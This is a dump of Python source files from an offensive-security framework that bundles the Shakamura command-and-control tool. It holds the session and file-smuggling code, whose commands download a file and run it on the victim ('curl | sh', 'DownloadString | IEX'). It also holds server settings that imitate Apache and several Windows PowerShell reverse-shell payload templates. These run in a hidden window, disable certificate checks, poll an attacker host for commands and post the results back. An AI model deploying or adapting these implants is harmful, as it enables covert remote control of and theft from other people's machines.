Sessions_Manager.active_sessions[session_id]['Status'] = 'Active' Core_Server.announce_shell_session_stat_update({'session_id' : session_id, 'Status' : Sessions_Manager.active_sessions[session_id]['Status']}) sleep(TCP_Sock_Handler_Settings.alive_echo_exec_timeout) Threading_params.thread_limiter.release() return def search_chunk_for_sentinel_value(self, shell_type, chunk): clean_chunk = clean_string(chunk) if shell_type in ['cmd.exe', 'powershell.exe']: re_checks = self.prompt_regex_identifiers['windows'] for shell,regex in re_checks.items(): if match_regex(regex, clean_chunk): return [True, split_str_on_regex_index(regex, chunk), shell] return [False] elif shell_type == 'unix': prompt_identified, zsh = False, False # Search for prompt based on regex identifiers clean_chunk = strip_ansi_codes(clean_chunk) re_checks = self.prompt_regex_identifiers[shell_type] for shell,regex in re_checks.items(): if match_regex(regex, clean_chunk): prompt_identified = True break if not prompt_identified: # Check for zsh prompt in the raw chunk if re.search(self.prompt_regex_identifiers['zsh'], chunk): prompt_identified, zsh = True, True # Return last chunk and prompt value separated if prompt_identified: delimiter = '\n' #'\r\n' sliced = chunk.rsplit(delimiter, 1) if not zsh else chunk.rsplit('\r\r', 1) if len(sliced) > 1: return [True, [sliced[0], sliced[-1]], shell] else: return [True, ['', sliced[0]], shell] return [False] def split_str_on_regex_index(self, regex, chunk, clean_chunk): start_index = regex.search(clean_chunk).start() chunk = chunk[0:start_index] prompt = chunk[start_index:] # Check if sentinel value is detected multiple times sentinel_value = re.findall(regex, prompt) if len(sentinel_value) > 1: prompt = sentinel_value[-1] return [chunk, prompt] def remove_non_print(self, text): text = strip_ansi_codes(text) text = text.split('\n') final = [] new = '' for line in text: for c in line: ascii_ord = ord(c) if ascii_ord >= 33 and ascii_ord != 10: new += c final.append(new) new = '' return ('\n'.join(final)).replace('[?2004l', '') def get_uname_from_zsh_response(self, res): username = self.remove_non_print(strip_ansi_codes(res)) return username.rsplit('┌──(', 1)[-1].split('㉿')[0] def search_cmd_for_signature(self, cmd): try: sibling_server_id = re.findall("[\S]{1,2}echo '{[a-zA-Z0-9]{32}}'", cmd)[-1] sibling_server_id = sibling_server_id.split('echo ')[1].strip('{}\'') except: sibling_server_id = None return sibling_server_id def get_cmd_joint(self, session_id): if Sessions_Manager.active_sessions[session_id]['Shell'] == 'cmd.exe': joint = "&" else: joint = ";" return joint def is_socket_closed(self, sock): try: data = sock.recv(16, socket.MSG_PEEK) #socket.MSG_DONTWAIT if len(data) == 0: return True except BlockingIOError: return False except ConnectionResetError: return True except: return False return False class Session_Defender: is_active = True windows_dangerous_commands = ["powershell.exe", "powershell", "cmd.exe", "cmd", "curl", "wget", "telnet"] linux_dangerous_commands = ["bash", "sh", "zsh", "tclsh", "less", "more", "nano", "pico", "vi", "vim", \ "gedit", "atom", "emacs", "telnet"] interpreters = ['python', 'python3', 'php', 'ruby', 'irb', 'perl', 'jshell', 'node', 'ghci'] @staticmethod def inspect_command(os, cmd): # Check if command includes unclosed single/double quotes or backticks OR id ends with backslash if Session_Defender.has_unclosed_quotes_or_backticks(cmd): return True cmd = cmd.strip().lower() # Check for common commands and binaries that start interactive sessions within shells OR prompt the user for input if os == 'Windows': if cmd in (Session_Defender.windows_dangerous_commands + Session_Defender.interpreters): return True elif os == 'Linux': if Session_Defender.ends_with_backslash(cmd) or any(cmd.lower().startswith(c) for c in (\ Session_Defender.linux_dangerous_commands + Session_Defender.interpreters)): return True return False @staticmethod def has_unclosed_quotes_or_backticks(cmd): stack = [] for i, c in enumerate(cmd): if c in ["'", '"', "`"]: if not stack or stack[-1] != c: stack.append(c) else: stack.pop() elif c == "\\" and i < len(cmd) - 1: i += 1 return len(stack) > 0 @staticmethod def ends_with_backslash(cmd): return True if cmd.endswith('\\') else False @staticmethod def print_warning(): print(f'[{WARN}] Dangerous input detected. This command may break the shell session. If you want to execute it anyway, disable the Session Defender by running "cmdinspector off".') Main_prompt.set_main_prompt_ready() if not Shakamura.active_shell else Shakamura.set_shell_prompt_ready() class Exec_Utils: sentinel_value = uuid4().hex @staticmethod def new_process_wrapper(execution_object, session_id): shell_type = Sessions_Manager.return_session_attr_value(session_id, 'Shell') if shell_type: if shell_type == 'powershell.exe': return 'Start-Process $PSHOME\powershell.exe -ArgumentList {' + execution_object + '} -WindowStyle Hidden' elif shell_type == 'cmd.exe': return 'start "" cmd /k "' + execution_object + '"' elif shell_type == 'unix': return execution_object @staticmethod def ps_try_catch_wrapper(cmd, error_action = ''): return f'try {{{cmd}}} catch {{{error_action};echo $_}}' @staticmethod def unix_stderr_wrapper(cmd): return f'({cmd}) 2>&1' @staticmethod def unix_force_sentinel_value(cmd): try: return f'({cmd}); echo {base64.b64encode(Exec_Utils.sentinel_value.encode("utf-8")).decode("utf-8")} | base64 -d' except: return cmd @staticmethod def windows_force_sentinel_value(cmd, shell_type): if shell_type == 'cmd.exe': return f'({cmd})& echo {Exec_Utils.sentinel_value}' elif shell_type == 'powershell.exe': return f'$({cmd}); echo {Exec_Utils.sentinel_value}' return cmd @staticmethod def get_sibling_signature(session_id, signature = None): shell_type = Sessions_Manager.return_session_attr_value(session_id, 'Shell') server_id = Core_Server.SERVER_UNIQUE_ID if not signature else signature if shell_type in ['powershell.exe', 'unix']: return ";echo '{" + server_id + "}'" elif shell_type == 'cmd.exe': return "&echo '{" + server_id + "}'" class File_Smuggler_Http_Handler(BaseHTTPRequestHandler): success_msg = f'\r[{INFO}] A resource was successfully requested from the Http smuggler!' error_msg = f'\r[{ERR}] Http file smuggler failed to complete a request.' def do_GET(self): try: ticket = self.path.strip("/") if ticket in File_Smuggler.file_transfer_tickets.keys(): data = File_Smuggler.file_transfer_tickets[ticket]['data'] issuer = File_Smuggler.file_transfer_tickets[ticket]['issuer'] self.send_response(200) self.end_headers() self.wfile.write(data) if isinstance(data, bytes) else self.wfile.write(bytes(data, 'utf-8')) File_Smuggler.file_transfer_tickets[ticket]['lifespan'] -= 1 del data, issuer restore_prompt() if File_Smuggler.file_transfer_tickets[ticket]['reset_prompt'] else chill() if File_Smuggler.file_transfer_tickets[ticket]['lifespan'] <= 0: del File_Smuggler.file_transfer_tickets[ticket] except: print(self.error_msg) Main_prompt.set_main_prompt_ready() if not Shakamura.active_shell else Shakamura.set_shell_prompt_ready() pass def log_message(self, format, *args): return class File_Smuggler: server_name = f'-[{GREEN} HTTP File Smuggler {END}]-' file_transfer_tickets = {} def __init__(self): try: httpd = HTTPServer(('0.0.0.0', File_Smuggler_Settings.bind_port), File_Smuggler_Http_Handler) except OSError: exit(f'[{DEBUG}] {self.server_name} failed to start. Port {File_Smuggler_Settings.bind_address} seems to already be in use.\n') except: exit(f'\n[{DEBUG}] {self.server_name} failed to start (Unknown error occurred).\n') http_file_smuggler_server = Thread(target = httpd.serve_forever, args = (), name = 'http_file_smuggler') http_file_smuggler_server.daemon = True http_file_smuggler_server.start() registered_services.append({ 'service' : self.server_name, 'socket' : f'{ORANGE}{File_Smuggler_Settings.bind_address}{END}:{RED}{File_Smuggler_Settings.bind_port}{END}' }) print(f'[{ORANGE}{File_Smuggler_Settings.bind_address}{END}:{RED}{File_Smuggler_Settings.bind_port}{END}]::{self.server_name}\n') @staticmethod def create_smuggle_ticket(file_contents, issuer): ticket = str(uuid4()) File_Smuggler.file_transfer_tickets[ticket] = {'data' : file_contents, 'issuer' : issuer, 'lifespan' : 1} del file_contents return ticket @staticmethod def upload_file(file_contents, destination_path, session_id, issuer = 'self', port = File_Smuggler_Settings.bind_port): try: # Create smuggle ticket ticket = File_Smuggler.create_smuggle_ticket(file_contents, issuer) File_Smuggler.file_transfer_tickets[ticket]['reset_prompt'] = False server_ip = Sessions_Manager.active_sessions[session_id]['iface'] # Determine shell type shell_type = Sessions_Manager.active_sessions[session_id]['Shell'] # Define script to run for smuggling file via http if shell_type == 'powershell.exe': request_file_cmd = f'try {{IRM -Uri http://{server_ip}:{port}/{ticket} -UseBasicParsing -OutFile {destination_path};echo "Success!"}} catch {{echo $_}}' elif shell_type == 'cmd.exe': #request_file_cmd = f'wget --version & if errorlevel 1 (curl --version & if errorlevel 1 (echo "Neither cURL nor Wget seem to be in PATH") else (curl -s http://{server_ip}:{port}/{ticket} -o {destination_path})) else (wget -q http://{server_ip}:{port}/{ticket} -O {destination_path})' request_file_cmd = f'((curl -s http://{server_ip}:{port}/{ticket} --show-error -o {destination_path} 2>&1||wget -q http://{server_ip}:{port}/{ticket} -O {destination_path} 2>&1 )&&echo "Success!") & if errorlevel 1 (echo "Command failed.") ' elif shell_type == 'unix': request_file_cmd = f'url="http://{server_ip}:{port}/{ticket}"&&dst="{destination_path}";((curl -s $url -o $dst 2>&1||wget -q $url -O $dst 2>&1)&&echo U3VjY2VzcyEK | base64 -d)|| echo Q29tbWFuZCBmYWlsZWQuCg== | base64 -d' # Adjust command for shakamura type if Sessions_Manager.active_sessions[session_id]['Listener'] == 'shakamura' and issuer != 'self': request_file_cmd = request_file_cmd + Exec_Utils.get_sibling_signature(session_id, signature = issuer) # Construct Shakamura issued command to request file shakamura_cmd = { 'data' : request_file_cmd, 'issuer' : issuer, 'quiet' : False } Shakamura.command_pool[session_id].append(shakamura_cmd) except: File_Smuggler.announce_automatic_cmd_failure(issuer, f'\r[{ERR}] Upload function failed.') @staticmethod def fileless_exec(file_contents, session_id, issuer = 'self', port = File_Smuggler_Settings.bind_port): try: # Create smuggle ticket ticket = File_Smuggler.create_smuggle_ticket(file_contents, issuer) File_Smuggler.file_transfer_tickets[ticket]['reset_prompt'] = False server_ip = Sessions_Manager.active_sessions[session_id]['iface'] # Determine shell type shell_type = Sessions_Manager.active_sessions[session_id]['Shell'] # Define script to run for smuggling file via http if shell_type == 'powershell.exe': exec_file_cmd = f'try {{(New-Object Net.WebClient).DownloadString("http://{server_ip}:{port}/{ticket}") | IEX}} catch {{echo $_}}' elif shell_type == 'cmd.exe': exec_file_cmd = f'wget --version & if errorlevel 1 (curl --version & if errorlevel 1 (echo "Neither cURL nor Wget seem to be in PATH") else (curl -s http://{server_ip}:{port}/{ticket} | cmd.exe)) else (wget -q http://{server_ip}:{port}/{ticket} | cmd.exe)' elif shell_type == 'unix': #exec_file_cmd = f'url="http://{server_ip}:{port}/{ticket}"&&(command -v curl&&(curl -s $url | sh)||((command -v wget&&wget -q $url | sh)||echo TmVpdGhlciBjVVJMIG5vciBXZ2V0IHNlZW0gdG8gYmUgaW4gJFBBVEguCg== | base64 -d))' exec_file_cmd = f'url="http://{server_ip}:{port}/{ticket}";curl -s $url | sh 2>&1 || wget -q $url | sh 2>&1 || echo Q29tbWFuZDo6RXJyb3IK | base64 -d' # Construct Shakamura issued command to request file shakamura_cmd = { 'data' : exec_file_cmd, 'issuer' : issuer, 'quiet' : False if issuer == 'self' else True } Shakamura.command_pool[session_id].append(shakamura_cmd) except: File_Smuggler.announce_automatic_cmd_failure(issuer, f'\r[{ERR}] Exec function failed.') @staticmethod def announce_automatic_cmd_failure(issuer, error): if issuer == 'self': print_to_prompt(error) else: Core_Server.send_receive_one_encrypted(issuer, error, 'notification') # Global Prompt restoration functions def restore_prompt(): if Shakamura.active_shell: Shakamura.rst_shell_prompt() if Shakamura.prompt_ready else Shakamura.set_shell_prompt_ready() else: Main_prompt.rst_prompt() if Main_prompt.ready else Main_prompt.set_main_prompt_ready() def print_to_prompt(msg): print(msg) restore_prompt()
118,823
Python
.py
2,123
40.235516
300
0.558565
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,754
settings.py
CHEGEBB_africana-framework/externals/shakamura/Core/settings.py
#!/usr/bin/env python3 # # Author: Panagiotis Chartas (r0jahsm0ntar1) # # This script is part of the Shakamura framework: # https://github.com/r0jahsm0ntar1/Shakamura import os from threading import BoundedSemaphore from uuid import uuid4 from time import sleep class Threading_params: MAX_THREADS = 100 thread_limiter = BoundedSemaphore(MAX_THREADS) class Core_Server_Settings: bind_address = '0.0.0.0' bind_port = 6501 # How long to sleep between echo requests to check if siblings are alive. ping_siblings_sleep_time = 4 # Seconds to wait for cmd output when executing commands against shell sessions of sibling servers. timeout_for_command_output = 30 # Allows any Shakamura client (sibling server) to connect to your instance without prompting you for verification. # You can configure it on start-up with the --insecure option. insecure = False class Shakamura_Settings: bind_address = '0.0.0.0' bind_port = 8080 bind_port_ssl = 443 ssl_support = None monitor_shell_state_freq = 3 # Server response header definition server_version = 'Apache/2.4.1' # Header name of the header that carries the backdoor's session ID _header = 'Authorization' # Generate self signed cert: #openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 #openssl req -x509 -newkey rsa:4096 -keyout /tmp/k.pem -out /tmp/c.pem -days 365 -nodes -subj "/C=US/ST=*/L=*/O=*/CN=cloudflare-dns.com" certfile = False # Add path to cert.pem here for SSL or parse it with -c keyfile = False # Add path to priv_key.pem here for SSL or parse it with -k class File_Smuggler_Settings: bind_address = '0.0.0.0' bind_port = 8888 class Sessions_manager_settings: shell_state_change_after = 2.0 class TCP_Sock_Handler_Settings: bind_address = '0.0.0.0' bind_port = 4443 sentinel_value = uuid4().hex sock_timeout = 4 recv_timeout = 14 recv_timeout_buffer_size = 4096 await_execution_timeout = 90 alive_echo_exec_timeout = 2.5 # Max failed echo response requests before a connection is characterized as lost fail_count = 3 # Check if connection is random socket connection by assessing the hostname value received. # This filter automatically rejects TCP reverse connection if they fail to pass validation tests. hostname_filter = False hostname_filter_warning_delivered = False class Payload_Generator_Settings: # Set to false in order to parse domains as LHOST when generating commands validate_lhost_as_ip = True class Logging_Settings: main_meta_folder_unix = f'{os.path.expanduser("~")}/.local/Shakamura_meta' main_meta_folder_windows = f'{os.path.expanduser("~")}/.local/Shakamura_meta' class Loading: active = False finished = True @staticmethod def animate(msg): Threading_params.thread_limiter.acquire() Loading.finished = False animate = ['< ', ' ^ ', ' >', ' _ '] while Loading.active: for item in animate: print(f'\r{msg} {item}', end = '') sleep(0.08) else: print(f'\r{msg} ', end = '') Loading.finished = True Threading_params.thread_limiter.release() return @staticmethod def stop(print_nl = False): Loading.active = False while not Loading.finished: sleep(0.05) if print_nl: print()
3,606
Python
.py
88
34.034091
140
0.683637
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,755
logging.py
CHEGEBB_africana-framework/externals/shakamura/Core/logging.py
#!/usr/bin/env python3 # # Author: Panagiotis Chartas (r0jahsm0ntar1) # # This script is part of the Shakamura framework: # https://github.com/r0jahsm0ntar1/Shakamura import os from .common import system_type from .settings import Logging_Settings main_meta_folder = Logging_Settings.main_meta_folder_unix if system_type in ['Linux', 'Darwin'] else Logging_Settings.main_meta_folder_windows class Shakamura_Implants_Logger: generated_implants_file = f'{main_meta_folder}/shakamura_generated_implants.txt' generated_implants_file_open = False @staticmethod def store_session_details(id, session_meta): try: while Shakamura_Implants_Logger.generated_implants_file_open: pass else: Shakamura_Implants_Logger.generated_implants_file_open = True shakamura_generated_implants = open(Shakamura_Implants_Logger.generated_implants_file, 'a') shakamura_generated_implants.write(f'"{id}" : {str(session_meta)}' + ',\n') shakamura_generated_implants.close() Shakamura_Implants_Logger.generated_implants_file_open = False except: pass @staticmethod def retrieve_past_sessions_data(): if os.path.exists(Shakamura_Implants_Logger.generated_implants_file): try: while Shakamura_Implants_Logger.generated_implants_file_open: pass else: Shakamura_Implants_Logger.generated_implants_file_open = True shakamura_generated_implants = open(Shakamura_Implants_Logger.generated_implants_file, 'r') session_data = shakamura_generated_implants.read() shakamura_generated_implants.close() Shakamura_Implants_Logger.generated_implants_file_open = False return '{' + session_data.strip(',\n') + '}' except Exception as e: print(e) pass return False def clear_metadata(): try: if os.path.exists(Shakamura_Implants_Logger.generated_implants_file): os.remove(Shakamura_Implants_Logger.generated_implants_file) except: return False return True # Create folder to store logs and metadata if os.path.exists(main_meta_folder): pass else: os.makedirs(main_meta_folder)
2,449
Python
.py
55
34.109091
142
0.655423
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,756
common.py
CHEGEBB_africana-framework/externals/shakamura/Core/common.py
#!/usr/bin/env python3 # # Author: Panagiotis Chartas (r0jahsm0ntar1) # # This script is part of the Shakamura framework: # https://github.com/r0jahsm0ntar1/Shakamura import sys, string, base64, os, re, traceback import netifaces as ni from random import randint, choice, randrange from threading import Thread, enumerate as enumerate_threads from subprocess import check_output from platform import system as get_system_type from Cryptodome.Cipher import AES from uuid import UUID, uuid4 from ipaddress import ip_address from copy import deepcopy from time import sleep, time from pyperclip import copy as copy2cb from string import ascii_uppercase, ascii_lowercase, digits from importlib import import_module system_type = get_system_type() # if system_type in ['Linux', 'Darwin']: # import gnureadline as global_readline # else: import readline as global_readline ''' Colors ''' MAIN = '\001\033[38;5;85m\002' GREEN = '\001\033[38;5;82m\002' GRAY = PLOAD = '\001\033[38;5;246m\002' NAME = '\001\033[38;5;228m\002' RED = '\001\033[1;31m\002' FAIL = '\001\033[1;91m\002' ORANGE = '\001\033[0;38;5;214m\002' LRED = '\001\033[0;38;5;196m\002' BOLD = '\001\033[1m\002' PURPLE = '\001\033[0;38;5;141m\002' BLUE = '\001\033[0;38;5;12m\002' UNDERLINE = '\001\033[4m\002' UNSTABLE = '\001\033[5m\002' END = '\001\033[0m\002' ''' MSG Prefixes ''' INFO = f'{MAIN}Info{END}' WARN = f'{ORANGE}Warning{END}' IMPORTANT = f'{ORANGE}Important{END}' FAILED = f'{RED}Fail{END}' ERR = f'{LRED}Error{END}' DEBUG = f'{ORANGE}Debug{END}' CHAT =f'{BLUE}Chat{END}' GRN_BUL = f'[{GREEN}*{END}]' META = '[\001\033[38;5;93m\002M\001\033[38;5;129m\002e\001\033[38;5;165m\002t\001\033[38;5;201m\002a\001\033[0m\002]' cwd = os.path.dirname(os.path.abspath(__file__)) ''' Command Prompt Settings ''' class Main_prompt: original_prompt = prompt = f"{BLUE}({END}africana:{END}{ORANGE}framework{END}{BLUE})# " ready = True SPACE = '#>SPACE$<#' exec_active = False @staticmethod def rst_prompt(prompt = prompt, prefix = '\r'): Main_prompt.ready = True Main_prompt.exec_active = False sys.stdout.write(prefix + Main_prompt.prompt + global_readline.get_line_buffer()) @staticmethod def set_main_prompt_ready(): Main_prompt.exec_active = False Main_prompt.ready = True ''' General Functions ''' def exit_with_msg(msg): print(f"[{DEBUG}] {msg}") sys.exit(0) def print_fail_and_return_to_prompt(msg): print(f'\r[{FAILED}] {msg}') Main_prompt.rst_prompt(force_rst = True) def print_shadow(msg): print(f'{GRAY}{msg}{END}') def print_debug(msg): print(f'\r[{DEBUG}] {msg}') def chill(): pass def get_random_str(length): # choose from all lowercase letter chars = string.ascii_lowercase + string.digits rand_str = ''.join(choice(chars) for i in range(length)) return rand_str def get_file_contents(path, mode = 'rb'): try: f = open(path, mode) contents = f.read() f.close() return contents except: return None def is_valid_uuid(value): try: UUID(str(value)) return True except: return False def is_valid_ip(ip_addr): try: ip_object = ip_address(ip_addr) return True except ValueError: return False def parse_lhost(lhost_value): try: # Check if valid IP address lhost = str(ip_address(lhost_value)) except ValueError: try: # Check if valid interface lhost = ni.ifaddresses(lhost_value)[ni.AF_INET][0]['addr'] except: return False return lhost def print_table(rows, columns): columns_list = [columns] for item in rows: # Values length adjustment try: for key in item.keys(): item_to_str = str(item[key]) item[key] = item[key] if len(item_to_str) <= 20 else f"{item_to_str[0:8]}..{item_to_str[-8:]}" except: pass columns_list.append([str(item[col] if item[col] is not None else '') for col in columns]) col_size = [max(map(len, col)) for col in zip(*columns_list)] format_str = ' '.join(["{{:<{}}}".format(i) for i in col_size]) columns_list.insert(1, ['-' * i for i in col_size]) for item in columns_list: # Session Status ANSI item[-1] = f'{GREEN}{item[-1]}{END}' if item[-1] == 'Active' else item[-1] item[-1] = f'{ORANGE}{item[-1]}{END}' if (item[-1] in ['Unreachable', 'Undefined']) else item[-1] item[-1] = f'{LRED}{item[-1]}{END}' if (item[-1] in ['Lost']) else item[-1] # Stability ANSI item[-2] = f'{UNSTABLE}{item[-2]} {END}' if (columns_list[0][-2] == 'Stability' and item[-2] == 'Unstable') else item[-2] print(format_str.format(*item)) def clone_dict_keys(_dict): clone = deepcopy(_dict) clone_keys = clone.keys() return clone_keys def get_terminal_columns(): try: # Get the number of columns in the terminal columns = os.get_terminal_size().columns return columns except: # If there was an error, return a default value return 80 def strip_ansi_codes(s): s = re.sub('\\[([0-9]+)(;[0-9]+)*m', '', s) return re.sub('\033\\[([0-9]+)(;[0-9]+)*m', '', s) def clean_string(input_string): # Remove ANSI escape sequences ansi_escape = re.compile(r'\x1B\[[0-?]*[ -/]*[@-~]') input_string = ansi_escape.sub('', input_string) # Remove non-printable characters printable_chars = list(range(0x20, 0x7F)) + [0x09, 0x0A, 0x0D] input_string = ''.join(filter(lambda x: ord(x) in printable_chars, input_string)) return input_string def ansi_codes_detected(s): return True if (re.search('\033\\[([0-9]+)(;[0-9]+)*m', s) or re.search('\\[([0-9]+)(;[0-9]+)*m', s)) else False def match_regex(regex, data): match = regex.search(data) return True if match else False def split_str_on_regex_index(regex, string): start_index = regex.search(string).start() return [string[0:start_index], string[start_index:]] def check_list_for_duplicates(l): for elem in l: if l.count(elem) > 1: return True return False def subtract_lists(l1, l2): set1 = set(l1) set2 = set(l2) result_set = set1 - set2 result_list = list(result_set) return result_list def print_columns(strings): columns, lines_ = os.get_terminal_size() mid = (len(strings) + 1) // 2 max_length1 = max(len(s) for s in strings[:mid]) max_length2 = max(len(s) for s in strings[mid:]) if max_length1 + max_length2 + 4 <= columns: # Print the strings in two evenly spaced columns for i in range(mid): col1 = strings[i].ljust(max_length1) try: col2 = strings[i+mid].ljust(max_length2) except: col2 = '' print(col1 + " " * 4 + col2) else: # Print the strings in one column max_length = max(len(s) for s in strings) for s in strings: print(s.ljust(max_length)) print('\n', end='') ''' Encryption ''' def encrypt_msg(aes_key, msg, iv): enc_s = AES.new(aes_key, AES.MODE_CFB, iv) if type(msg) == bytes: cipher_text = enc_s.encrypt(msg) else: cipher_text = enc_s.encrypt(msg.encode('utf-8')) encoded_cipher_text = base64.b64encode(cipher_text) return encoded_cipher_text def decrypt_msg(aes_key, cipher, iv): try: decryption_suite = AES.new(aes_key, AES.MODE_CFB, iv) plain_text = decryption_suite.decrypt(base64.b64decode(cipher + b'==')) return plain_text if type(plain_text) == str else plain_text.decode('utf-8', 'ignore') except TypeError: pass
7,987
Python
.py
213
31.140845
129
0.634991
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,757
powershell_outfile_https.py
CHEGEBB_africana-framework/externals/shakamura/Core/payload_templates/windows/shakamura/powershell_outfile_https.py
# This module is part of the Shakamura framework class Payload: info = { 'Title' : 'Windows PowerShell outfile Shakamura https', 'Author' : 'Panagiotis Chartas (r0jahsm0ntar1)', 'Description' : 'An Https based beacon-like reverse shell that writes and executes commands from disc', 'References' : ['https://github.com/r0jahsm0ntar1/shakamura', 'https://revshells.com'] } meta = { 'handler' : 'shakamura', 'type' : 'ps-outfile-cm-ssl', 'os' : 'windows', 'shell' : 'powershell.exe' } config = { 'frequency' : 0.8, 'outfile' : "C:\\Users\\$env:USERNAME\\.local\\haxor.ps1" } parameters = { 'lhost' : None } attrs = { 'obfuscate' : True, 'encode' : True } data = '''Start-Process $PSHOME\powershell.exe -ArgumentList {add-type @" using System.Net;using System.Security.Cryptography.X509Certificates; public class TrustAllCertsPolicy : ICertificatePolicy {public bool CheckValidationResult( ServicePoint srvPoint, X509Certificate certificate,WebRequest request, int certificateProblem) {return true;}} "@ [System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy $ConfirmPreference='None';$s=\'*LHOST*\';$i=\'*SESSIONID*\';$p=\'https://\';$v=Invoke-RestMethod -UseBasicParsing -Uri $p$s/*VERIFY*/$env:COMPUTERNAME/$env:USERNAME -Headers @{"*HOAXID*"=$i};for (;;){$c=(Invoke-RestMethod -UseBasicParsing -Uri $p$s/*GETCMD* -Headers @{"*HOAXID*"=$i});if (!(@(\'None\',\'quit\') -contains $c)) {echo "$c" | out-file -filepath *OUTFILE*;$r=powershell -ep bypass *OUTFILE* -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$x=Invoke-RestMethod -Uri $p$s/*POSTRES* -Method POST -Headers @{"*HOAXID*"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join \' \')} elseif ($c -eq \'quit\') {del *OUTFILE*;Stop-Process $PID} sleep *FREQ*}} -WindowStyle Hidden'''
1,952
Python
.py
32
55.15625
711
0.664401
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,758
powershell_outfile_constr_lang.py
CHEGEBB_africana-framework/externals/shakamura/Core/payload_templates/windows/shakamura/powershell_outfile_constr_lang.py
# This module is part of the Shakamura framework class Payload: info = { 'Title' : 'Windows PowerShell outfile Shakamura - Constraint Language Mode', 'Author' : 'Panagiotis Chartas (r0jahsm0ntar1)', 'Description' : 'An Http based beacon-like reverse shell that writes and executes commands from disc and will work even if Constraint Language Mode is enabled on the victim', 'References' : ['https://github.com/r0jahsm0ntar1/shakamura', 'https://revshells.com'] } meta = { 'handler' : 'shakamura', 'type' : 'ps-outfile-cm', 'os' : 'windows', 'shell' : 'powershell.exe' } config = { 'frequency' : 0.8, 'outfile' : "C:\\Users\\$env:USERNAME\\.local\\haxor.ps1" } parameters = { 'lhost' : None } attrs = { 'obfuscate' : True, 'encode' : True } data = "Start-Process $PSHOME\powershell.exe -ArgumentList {$ConfirmPreference='None';$s='*LHOST*';$i='*SESSIONID*';$p='http://';$v=Invoke-RestMethod -UseBasicParsing -Uri $p$s/*VERIFY*/$env:COMPUTERNAME/$env:USERNAME -Headers @{\"*HOAXID*\"=$i};for (;;){$c=(Invoke-RestMethod -UseBasicParsing -Uri $p$s/*GETCMD* -Headers @{\"*HOAXID*\"=$i});if (!(@('None','quit') -contains $c)) {echo \"$c\" | out-file -filepath *OUTFILE*;$r=powershell -ep bypass *OUTFILE* -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$x=Invoke-RestMethod -Uri $p$s/*POSTRES* -Method POST -Headers @{\"*HOAXID*\"=$i} -Body ($e+$r)} elseif ($c -eq 'quit') {del *OUTFILE*;Stop-Process $PID} sleep *FREQ*}} -WindowStyle Hidden"
1,609
Python
.py
26
54.923077
717
0.630711
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,759
powershell_outfile_constr_lang_https.py
CHEGEBB_africana-framework/externals/shakamura/Core/payload_templates/windows/shakamura/powershell_outfile_constr_lang_https.py
# This module is part of the Shakamura framework class Payload: info = { 'Title' : 'Windows PowerShell outfile Shakamura https - Constraint Language Mode', 'Author' : 'Panagiotis Chartas (r0jahsm0ntar1)', 'Description' : 'An Https based beacon-like reverse shell that writes and executes commands from disc and will work even if Constraint Language Mode is enabled on the victim', 'References' : ['https://github.com/r0jahsm0ntar1/shakamura', 'https://revshells.com'] } meta = { 'handler' : 'shakamura', 'type' : 'ps-outfile-cm-ssl', 'os' : 'windows', 'shell' : 'powershell.exe' } config = { 'frequency' : 0.8, 'outfile' : "C:\\Users\\$env:USERNAME\\.local\\haxor.ps1" } parameters = { 'lhost' : None } attrs = { 'obfuscate' : True, 'encode' : True } data = '''Start-Process $PSHOME\powershell.exe -ArgumentList {add-type @" using System.Net;using System.Security.Cryptography.X509Certificates; public class TrustAllCertsPolicy : ICertificatePolicy {public bool CheckValidationResult( ServicePoint srvPoint, X509Certificate certificate,WebRequest request, int certificateProblem) {return true;}} "@ [System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy $ConfirmPreference="None";$s=\'*LHOST+*\';$i=\'*SESSIONID*\';$p=\'https://\';$v=Invoke-RestMethod -UseBasicParsing -Uri $p$s/*VERIFY*/$env:COMPUTERNAME/$env:USERNAME -Headers @{"*HOAXID*"=$i};for (;;){$c=(Invoke-RestMethod -UseBasicParsing -Uri $p$s/*GETCMD* -Headers @{"*HOAXID*"=$i});if (!(@(\'None\',\'quit\') -contains $c)) {echo "$c" | out-file -filepath *OUTFILE*;$r=powershell -ep bypass *OUTFILE* -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$x=Invoke-RestMethod -Uri $p$s/*POSTRES* -Method POST -Headers @{"*HOAXID*"=$i} -Body ($e+$r)} elseif ($c -eq \'quit\') {del *OUTFILE*;Stop-Process $PID} sleep *FREQ*}} -WindowStyle Hidden'''
2,001
Python
.py
32
56.6875
661
0.671764
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,760
powershell_iex_constr_lang.py
CHEGEBB_africana-framework/externals/shakamura/Core/payload_templates/windows/shakamura/powershell_iex_constr_lang.py
